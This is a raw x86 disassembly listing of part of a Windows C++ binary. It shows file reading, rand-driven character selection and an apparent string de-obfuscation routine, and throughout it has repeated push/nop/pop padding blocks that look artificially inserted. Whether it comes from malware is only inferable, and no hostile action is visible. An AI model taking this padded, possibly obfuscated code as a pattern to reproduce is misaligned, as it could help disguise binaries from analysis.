call fcn.00419990
jmp 0x403ad7
cmp dword [ebp - 0xc], 0x33
jne 0x403a67
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403ad7
cmp dword [ebp - 0xc], 0x3c
jne 0x403a99
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403ad7
cmp dword [ebp - 0xc], 0x41
jne 0x403ad7
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x9c]
call fcn.00419990
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x4036bc
jmp 0x4040e3
cmp dword [ebp - 4], 1
jne 0x403df1
mov dword [ebp - 0x10], 0
jmp 0x403afd
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x10], edx
jge 0x403dec
cmp dword [ebp - 0x10], 5
jne 0x403b4c
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403de7
cmp dword [ebp - 0x10], 9
jne 0x403b8f
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x9c]
call fcn.00419990
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x403de7
cmp dword [ebp - 0x10], 0xe
jne 0x403bc4
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403de7
cmp dword [ebp - 0x10], 0x14
jne 0x403bf9
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403de7
cmp dword [ebp - 0x10], 0x15
jne 0x403c2e
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403de7
cmp dword [ebp - 0x10], 0x17
jne 0x403c63
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403de7
cmp dword [ebp - 0x10], 0x18
jne 0x403ca6
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0x9c]
call fcn.00419990
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x403de7
cmp dword [ebp - 0x10], 0x1d
jne 0x403cdb
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403de7
cmp dword [ebp - 0x10], 0x1f
jne 0x403d10
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403de7
cmp dword [ebp - 0x10], 0x21
jne 0x403d45
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403de7
cmp dword [ebp - 0x10], 0x25
jne 0x403d77
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403de7
cmp dword [ebp - 0x10], 0x28
jne 0x403da9
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403de7
cmp dword [ebp - 0x10], 0x2d
jne 0x403de7
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0x9c]
call fcn.00419990
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x403af4
jmp 0x4040e3
cmp dword [ebp - 4], 2
jne 0x4040e3
mov dword [ebp - 0x14], 0
jmp 0x403e0d
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x32
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x14], edx
jge 0x4040e3
cmp dword [ebp - 0x14], 5
jne 0x403e6a
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0x9c]
call fcn.00419990
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x4040de
cmp dword [ebp - 0x14], 9
jne 0x403ebb
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x9c]
call fcn.00419990
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x4040de
cmp dword [ebp - 0x14], 0xe
jne 0x403efe
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x9c]
call fcn.00419990
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x4040de
cmp dword [ebp - 0x14], 0x14
jne 0x403f33
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x4040de
cmp dword [ebp - 0x14], 0x15
jne 0x403f68
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x4040de
cmp dword [ebp - 0x14], 0x17
jne 0x403f9d
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x4040de
cmp dword [ebp - 0x14], 0x18
jne 0x403fd2
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x4040de
cmp dword [ebp - 0x14], 0x1d
jne 0x404007
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x4040de
cmp dword [ebp - 0x14], 0x1f
jne 0x40403c
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x4040de
cmp dword [ebp - 0x14], 0x21
jne 0x40406e
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x4040de
cmp dword [ebp - 0x14], 0x25
jne 0x4040a0
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x4040de
cmp dword [ebp - 0x14], 0x28
jne 0x4040de
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0x9c]
call fcn.00419990
jmp 0x403e04
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea edx, [ebp - 0x9c]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.004193c0
lea ecx, [ebp - 0x9c]
call fcn.00418dc0
jmp 0x40367d
mov dword [ebp - 0x40], 0
jmp 0x40412f
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov dword [ebp - 0x40], ecx
mov ecx, 0x462204
call fcn.00422b80
cmp dword [ebp - 0x40], eax
jae 0x404245
mov dword [ebp - 0x54], 0
jmp 0x404154
mov edx, dword [ebp - 0x54]
add edx, 1
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x40]
push eax
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00422b10
cmp dword [ebp - 0x54], eax
jae 0x404240
mov ecx, dword [ebp - 0x54]
push ecx
mov edx, dword [ebp - 0x40]
push edx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
movsx eax, byte [eax]
cmp eax, 0x5f
jne 0x4041bf
mov ecx, dword [ebp - 0x54]
push ecx
mov edx, dword [ebp - 0x40]
push edx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov byte [eax], 0x69
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x40423b
mov eax, dword [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
movsx edx, byte [eax]
cmp edx, 0x21
jne 0x4041fe
mov eax, dword [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov byte [eax], 0x65
jmp 0x40423b
mov edx, dword [ebp - 0x54]
push edx
mov eax, dword [ebp - 0x40]
push eax
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
movsx ecx, byte [eax]
cmp ecx, 0x28
jne 0x40423b
mov edx, dword [ebp - 0x54]
push edx
mov eax, dword [ebp - 0x40]
push eax
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.00419680
mov byte [eax], 0x61
jmp 0x40414b
jmp 0x404126
push 1
push 0x40
push 0x20
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x708], esp
push 0x462128
call fcn.00418120
push 0
mov ecx, 0x4620e0
call fcn.00419700
push eax
lea ecx, [ebp - 0xc58]
push ecx
call fcn.004080f0
add esp, 0x20
push eax
lea ecx, [ebp - 0xf80]
call fcn.00417960
lea ecx, [ebp - 0xc58]
call fcn.00418dc0
push 0x4276fc
lea ecx, [ebp - 0x378]
call fcn.00418290
mov byte [ebp - 0x21], 0
mov edx, dword [ebp - 0xf80]
mov eax, dword [edx + 4]
lea ecx, [ebp + eax - 0xf80]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator_bool_void_const]
movzx ecx, al
test ecx, ecx
je 0x40464e
push 2
push 0
push 0
lea ecx, [ebp - 0xf80]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
lea edx, [ebp - 0x11f4]
push edx
lea ecx, [ebp - 0xf80]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
mov ecx, eax
call fcn.00419740
mov dword [ebp - 0x164], eax
push 0
push 0
push 0
lea ecx, [ebp - 0xf80]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
lea ecx, [ebp - 0x408]
call fcn.00418360
push 1
push 1
lea ecx, [ebp - 0x1364]
call fcn.00417d20
cmp dword [ebp - 0x164], 0
je 0x40462b
mov eax, dword [ebp - 0x164]
push eax
lea ecx, [ebp - 0x408]
call fcn.004221a0
mov ecx, dword [ebp - 0x164]
xor edx, edx
push edx
push ecx
push 0
lea ecx, [ebp - 0x408]
call fcn.00419680
push eax
lea ecx, [ebp - 0xf80]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
lea ecx, [ebp - 0xf80]
call fcn.0041ee70
lea eax, [ebp - 0x408]
push eax
lea ecx, [ebp - 0xc70]
push ecx
call fcn.00408430
add esp, 8
push eax
lea ecx, [ebp - 0x408]
call fcn.004192d0
lea ecx, [ebp - 0xc70]
call fcn.00418dc0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x70c], esp
push 0x462128
call fcn.00418120
lea edx, [ebp - 0x408]
push edx
lea eax, [ebp - 0xc88]
push eax
call fcn.004080f0
add esp, 0x20
push eax
lea ecx, [ebp - 0x408]
call fcn.004192d0
lea ecx, [ebp - 0xc88]
call fcn.00418dc0
lea ecx, [ebp - 0x408]
push ecx
lea ecx, [ebp - 0x1364]
call fcn.00422c10
mov edx, dword [ebp - 0x1364]
mov eax, dword [edx + 4]
lea ecx, [ebp + eax - 0x1364]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::eof_void_const]
movzx ecx, al
test ecx, ecx
jne 0x404629
lea ecx, [ebp - 0x390]
call fcn.00418360
lea edx, [ebp - 0x390]
push edx
lea eax, [ebp - 0x1364]
push eax
call fcn.00417210
add esp, 8
lea ecx, [ebp - 0x390]
call fcn.0041f360
movzx ecx, al
test ecx, ecx
je 0x404456
lea ecx, [ebp - 0x390]
call fcn.00418dc0
jmp 0x4043f5
mov byte [ebp - 0x35], 0
push 0
push 0x427700
lea edx, [ebp - 0x378]
push edx
lea eax, [ebp - 0xd00]
push eax
call fcn.00415400
add esp, 0xc
or dword [ebp - 0x18], 1
push eax
lea ecx, [ebp - 0x390]
call fcn.0041f750
cmp eax, 0xffffffff
jne 0x404568
push 0
push 0x427708
lea ecx, [ebp - 0x378]
push ecx
lea edx, [ebp - 0xce8]
push edx
call fcn.00415400
add esp, 0xc
or dword [ebp - 0x18], 2
push eax
lea ecx, [ebp - 0x390]
call fcn.0041f750
cmp eax, 0xffffffff
jne 0x404568
push 0
push 0x42770c
lea eax, [ebp - 0x378]
push eax
lea ecx, [ebp - 0xcd0]
push ecx
call fcn.00415400
add esp, 0xc
or dword [ebp - 0x18], 4
push eax
lea ecx, [ebp - 0x390]
call fcn.0041f750
cmp eax, 0xffffffff
jne 0x404568
push 0
push 0x427710
lea edx, [ebp - 0x378]
push edx
lea eax, [ebp - 0xcb8]
push eax
call fcn.00415400
add esp, 0xc
or dword [ebp - 0x18], 8
push eax
lea ecx, [ebp - 0x390]
call fcn.0041f750
cmp eax, 0xffffffff
jne 0x404568
push 0
push 0x427714
lea ecx, [ebp - 0x378]
push ecx
lea edx, [ebp - 0xca0]
push edx
call fcn.00415400
add esp, 0xc
or dword [ebp - 0x18], 0x10
push eax
lea ecx, [ebp - 0x390]
call fcn.0041f750
cmp eax, 0xffffffff
jne 0x404568
mov dword [ebp - 0x194], 0
jmp 0x404572
mov dword [ebp - 0x194], 1
mov al, byte [ebp - 0x194]
mov byte [ebp - 0x69], al
mov ecx, dword [ebp - 0x18]
and ecx, 0x10
je 0x404592
and dword [ebp - 0x18], 0xffffffef
lea ecx, [ebp - 0xca0]
call fcn.00418dc0
mov edx, dword [ebp - 0x18]
and edx, 8
je 0x4045a9
and dword [ebp - 0x18], 0xfffffff7
lea ecx, [ebp - 0xcb8]
call fcn.00418dc0
mov eax, dword [ebp - 0x18]
and eax, 4
je 0x4045c0
and dword [ebp - 0x18], 0xfffffffb
lea ecx, [ebp - 0xcd0]
call fcn.00418dc0
mov ecx, dword [ebp - 0x18]
and ecx, 2
je 0x4045d7
and dword [ebp - 0x18], 0xfffffffd
lea ecx, [ebp - 0xce8]
call fcn.00418dc0
mov edx, dword [ebp - 0x18]
and edx, 1
je 0x4045ee
and dword [ebp - 0x18], 0xfffffffe
lea ecx, [ebp - 0xd00]
call fcn.00418dc0
movzx eax, byte [ebp - 0x69]
test eax, eax
je 0x4045fa
mov byte [ebp - 0x35], 1
movzx ecx, byte [ebp - 0x35]
test ecx, ecx
jne 0x404608
mov byte [ebp - 0x21], 1
jmp 0x404619
lea edx, [ebp - 0x390]
push edx
mov ecx, 0x462204
call fcn.00421380
lea ecx, [ebp - 0x390]
call fcn.00418dc0
jmp 0x4043f5
jmp 0x404636
lea ecx, [ebp - 0xf80]
call fcn.0041ee70
lea ecx, [ebp - 0x1364]
call fcn.00419a80
lea ecx, [ebp - 0x408]
call fcn.00418dc0
jmp 0x404652
mov byte [ebp - 0x21], 1
movzx eax, byte [ebp - 0x21]
test eax, eax
jne 0x404670
mov ecx, 0x462204
call fcn.0041f3c0
movzx ecx, al
cmp ecx, 1
jne 0x404670
mov byte [ebp - 0x21], 1
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov dword [ebp - 0xb0], 0
jmp 0x404699
mov edx, dword [ebp - 0xb0]
add edx, 1
mov dword [ebp - 0xb0], edx
mov ecx, 0x462204
call fcn.00422b80
cmp dword [ebp - 0xb0], eax
jae 0x404707
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x710], esp
push 0x462128
call fcn.00418120
mov eax, dword [ebp - 0xb0]
push eax
mov ecx, 0x462204
call fcn.00419700
push eax
lea ecx, [ebp - 0xd18]
push ecx
call fcn.004080f0
add esp, 0x20
push eax
mov edx, dword [ebp - 0xb0]
push edx
mov ecx, 0x462204
call fcn.00419700
mov ecx, eax
call fcn.004192d0
lea ecx, [ebp - 0xd18]
call fcn.00418dc0
jmp 0x40468a
movzx eax, word [0x461fdc]
cmp eax, 0x50
je 0x404727
mov cx, word [0x461fdc]
add cx, 1
mov word [0x461fdc], cx
jmp 0x404707
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
call fcn.0040e470
movzx edx, al
test edx, edx
jne 0x404812
mov dword [ebp - 0x31c], 0
lea ecx, [ebp - 0x378]
call fcn.00418dc0
lea ecx, [ebp - 0xf80]
call fcn.00419a50
lea ecx, [ebp - 0x1c4]
call fcn.00418e00
lea ecx, [ebp - 0x1f4]
call fcn.00418dc0
lea ecx, [ebp - 0x1dc]
call fcn.00418e00
lea ecx, [ebp - 0x20c]
call fcn.00418dc0
lea ecx, [ebp - 0x29c]
call fcn.00418e00
lea ecx, [ebp - 0x2b4]
call fcn.00418e00
lea ecx, [ebp - 0x224]
call fcn.00418dc0
lea ecx, [ebp - 0x23c]
call fcn.00418dc0
lea ecx, [ebp - 0x18c]
call fcn.00418dc0
lea ecx, [ebp - 0x254]
call fcn.00418dc0
lea ecx, [ebp - 0x1ac]
call fcn.00418dc0
lea ecx, [ebp - 0x2cc]
call fcn.00418e00
lea ecx, [ebp - 0x26c]
call fcn.00418e00
lea ecx, [ebp - 0x4c]
call fcn.00418f70
lea ecx, [ebp - 0x13c]
call fcn.00418e00
mov eax, dword [ebp - 0x31c]
jmp 0x407931
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x714], esp
push 0x42741d
call fcn.00418290
push 1
push 1
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x718], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x71c], esp
push 0x462128
call fcn.00418120
push 5
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x720], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x724], esp
push 0x462128
call fcn.00418120
push 5
mov ecx, 0x46211c
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00411730
add esp, 0x50
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
movzx ecx, byte [0x461d90]
test ecx, ecx
je 0x40496e
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x728], esp
push 0x427728
call fcn.00418290
call fcn.00407e50
add esp, 0x18
movzx edx, al
test edx, edx
jne 0x404960
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x72c], esp
push 0x42741e
call fcn.00418290
push 1
push 1
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x730], esp
push 0x427738
call fcn.00418290
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x734], esp
push 0x427748
call fcn.00418290
call fcn.00411730
add esp, 0x50
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
call fcn.004120e0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x738], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x73c], esp
push 0x462128
call fcn.00418120
push 1
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00407e50
add esp, 0x18
movzx ecx, al
test ecx, ecx
jne 0x4049c6
mov byte [0x461d92], 0
mov byte [0x461d91], 0
movzx edx, byte [0x461d93]
test edx, edx
je 0x404a24
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x740], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x744], esp
push 0x462128
call fcn.00418120
push 0x10
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00407e50
add esp, 0x18
movzx eax, al
test eax, eax
jne 0x404a24
mov byte [0x461d92], 0
mov byte [0x461d91], 0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x748], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x74c], esp
push 0x462128
call fcn.00418120
push 2
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00407e50
add esp, 0x18
movzx ecx, al
test ecx, ecx
jne 0x404a77
mov byte [0x461d92], 0
mov byte [0x461d91], 0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x750], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x514], esp
push 0x462128
call fcn.00418120
push 0xb
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00407e50
add esp, 0x18
movzx edx, al
test edx, edx
jne 0x404aca
mov byte [0x461d92], 0
mov byte [0x461d91], 0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x518], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x51c], esp
push 0x462128
call fcn.00418120
push 0xa
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00407e50
add esp, 0x18
movzx eax, al
test eax, eax
jne 0x404b1d
mov byte [0x461d92], 0
mov byte [0x461d91], 0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x520], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x524], esp
push 0x462128
call fcn.00418120
push 6
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00407e50
add esp, 0x18
movzx ecx, al
test ecx, ecx
jne 0x404b70
mov byte [0x461d92], 0
mov byte [0x461d91], 0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x528], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x52c], esp
push 0x462128
call fcn.00418120
push 7
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00407e50
add esp, 0x18
movzx edx, al
test edx, edx
jne 0x404bc3
mov byte [0x461d92], 0
mov byte [0x461d91], 0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x530], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x534], esp
push 0x462128
call fcn.00418120
push 0
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00407e50
add esp, 0x18
movzx eax, al
test eax, eax
jne 0x404cb2
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x538], esp
push 0x42741f
call fcn.00418290
push 1
push 1
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x53c], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x540], esp
push 0x462128
call fcn.00418120
push 0
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x544], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x548], esp
push 0x462128
call fcn.00418120
push 0
mov ecx, 0x46211c
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00411730
add esp, 0x50
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x54c], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x550], esp
push 0x462128
call fcn.00418120
push 3
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00407e50
add esp, 0x18
movzx edx, al
test edx, edx
jne 0x404da1
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x554], esp
push 0x427435
call fcn.00418290
push 1
push 1
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x558], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x55c], esp
push 0x462128
call fcn.00418120
push 3
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x560], esp
sub esp, 0x18
mov ecx, esp
